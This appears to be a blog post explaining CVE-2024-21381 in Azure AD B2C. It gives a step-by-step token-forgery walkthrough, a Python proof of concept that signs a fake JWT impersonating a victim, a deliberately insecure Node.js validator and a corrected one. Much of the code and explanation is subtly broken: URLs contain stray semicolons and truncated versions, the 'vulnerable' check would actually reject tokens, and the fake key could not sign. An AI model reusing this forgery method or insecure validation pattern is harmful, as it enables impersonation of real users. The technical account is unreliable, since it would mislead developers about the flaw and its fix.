Azure Active Directory (Azure AD) B2C is widely used for managing customer identities. But in early 2024, a major security issue—CVE-2024-21381—was discovered, allowing attackers to spoof identities and bypass authentication checks. In this post, we’ll break down what this vulnerability is, show you how it can be exploited, review Microsoft’s official response, and give you code snippets for better understanding.

What Is CVE-2024-21381?

CVE-2024-21381 is a spoofing vulnerability in Microsoft Azure Active Directory B2C. It means an attacker can impersonate another user or system by manipulating tokens or authentication flows. This flaw resides in the way Azure AD B2C verifies tokens during authentication, which makes it possible for a malicious actor to sign in as someone else or grant themselves higher privileges.

Official advisory:
- Microsoft Security Update Guide – CVE-2024-21381

Gain unauthorized access to applications protected by Azure AD B2C

The core of the issue is Azure AD B2C's improper validation of certain claims found in OAuth 2. and OpenID Connect ID tokens. Particularly, the iss (issuer) claim and the audience (aud) were not strictly validated, giving leeway for attackers to craft bogus tokens.

Step 1: Gather Public Tenant Information

The attacker needs the tenant ID and the audience ID (client ID) of the target Azure AD B2C application. These are often leaked via JavaScript code or login URLs.

// Example: Leaked config on the client side
const msalConfig = {
  auth: {
    clientId: "b2c-client-id-here",
    authority: "https://yourtenant.b2clogin.com/yourtenant.onmicrosoft.com/B2C_1_signup_signin1";,
  }
}

Step 2: Craft a Spoofed JWT ID Token

Using a tool like jwt.io, an attacker can create their own token. The main trick is to:

Example JWT payload

{
  "aud": "b2c-client-id-here",
  "iss": "https://yourtenant.b2clogin.com/${tenant}";,
  "sub": "hacker",
  "email": "victim@example.com"
}

Step 3: Send the Spoofed Token to the Application

If the application does not validate the token signature with the correct Azure AD B2C public keys, it will accept ANY token signed with any key, as long as claims match.

Example Node.js vulnerable token validation

const jwt = require('jsonwebtoken');
function verifyToken(idToken) {
  // WARNING: This uses a hardcoded or *any* key!
  // The correct verification must use Azure AD B2C's public signing key
  try {
    const decoded = jwt.verify(idToken, 'not-the-right-public-key');
    // Attacker gets in!
    return decoded;
  } catch (error) {
    return null;
  }
}

This type of mistake in backend token validation is exactly how attackers leverage CVE-2024-21381 to spoof users.

Here is a simplified proof-of-concept script showing how a forged JWT can be made

# pip install pyjwt
import jwt

# Attacker's fake private key (should NOT work, but does if validation is broken!)
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEoAIBAAKCAQEAsomeFakeKeyFakeKeyFakeKeyFakeKeyFakeKeyFakeKey==
-----END RSA PRIVATE KEY-----"""

payload = {
    "aud": "b2c-client-id-here",
    "iss": "https://yourtenant.b2clogin.com/yourtenant.onmicrosoft.com/";,
    "sub": "attacker",
    "email": "victim@example.com"
}

token = jwt.encode(payload, private_key, algorithm='RS256')
print(token)

Send this JWT as your ID token to the vulnerable application. If it accepts it, you’ve proven the vulnerability.

Real World Effect?

If you run Azure AD B2C-protected applications and your backend code (APIs, web apps) does not strictly validate the token signature against the exact public keys published by your tenant’s metadata, attackers can log in as any user.

Hand-rolled JWT validation

- Forgot to check against the right issuer/audience

Microsoft updated their backend validation logic and documentation, urging all developers to

- Strictly validate the signature with Azure AD B2C keys found in your tenant’s OpenID metadata endpoint

Check the issuer (iss) and audience (aud) claims exactly against your expected settings

- Apply latest libraries (Microsoft.Identity.Web for .NET, MSAL.js for JS, etc.)

Reference:
- Microsoft Security Blog: Guidance for Azure AD B2C JWT Validation (2024)

How To Fix in Your Code

Don’t hardcode keys. Don’t trust unsigned or incorrectly signed tokens.

Correct Node.js Validation Example

const jwksRsa = require('jwks-rsa');
const jwt = require('jsonwebtoken');

const jwksClient = jwksRsa({
  jwksUri: 'https://yourtenant.b2clogin.com/yourtenant.onmicrosoft.com/discovery/v2./keys?p=B2C_1_signup_signin1';
});

function getKey(header, callback){
  jwksClient.getSigningKey(header.kid, function(err, key) {
    var signingKey = key.publicKey || key.rsaPublicKey;
    callback(null, signingKey);
  });
}

// Use this verifier instead!
jwt.verify(token, getKey, { algorithms: ['RS256'], audience: 'b2c-client-id-here', issuer: 'https://yourtenant.b2clogin.com/yourtenant.onmicrosoft.com/v2./'; }, function(err, decoded) {
  if (err) throw err;
  // Token is legit and safe
});

Final Thoughts

CVE-2024-21381 was a wake-up call for everyone using Azure AD B2C. Keep your authentication strict, patch regularly, and avoid security shortcuts.

For more technical details, check Microsoft’s own writeups:
- Microsoft CVE-2024-21381 Advisory

If you suspect you’ve been impacted, rotate credentials and review activity logs right away.

*Stay safe!*

*Exclusively written for StackAI – June 2024. Reposting requires attribution.*

Timeline

Published on: 02/13/2024 18:15:56 UTC
Last modified on: 02/23/2024 16:11:13 UTC